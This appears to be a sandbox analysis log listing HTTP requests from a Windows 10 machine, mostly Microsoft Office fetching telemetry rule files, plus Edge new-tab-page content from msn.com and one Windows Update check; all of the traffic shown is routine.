XID=103664f78d1f1c196b2cc191732788337
Source: global traffic	HTTP traffic detected: GET /rules/rule120673v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120674v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120675v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?nct=1&fmt=json&nocookie=1&locale=en-us&country=US&muid=3E27FF0838006C7C38C4EA4D39726D3F&bcnt=1&placement=88000244&ACHANNEL=4&ABUILD=117.0.5938.132&clr=esdk&edgeid=-2063246587742936609&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&asid=d48adc3725994bb0a1f677b05fa9b0ee HTTP/1.1Host: arc.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /rules/rule120676v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120677v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120678v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120679v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1732794601277&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=52774db8804d4ee0a3d6f3bc67acd2b6&activityId=52774db8804d4ee0a3d6f3bc67acd2b6&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=C925CAC1AE6A49EAAE0763AA1B869BE1&MUID=3E27FF0838006C7C38C4EA4D39726D3F HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3E27FF0838006C7C38C4EA4D39726D3F; _EDGE_S=F=1&SID=361A358C57776DC7031420C956396CC7; _EDGE_V=1; SM=T; _C_ETH=1; msnup=
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msFQB.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msOZa.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB1msyO5.img HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule120680v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120681v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120682v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120602v10s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120601v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224901v11s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1cLbwq?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AA1sFuPI?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=T4V3CttayKfXn5D&MD=7xfds2MS HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
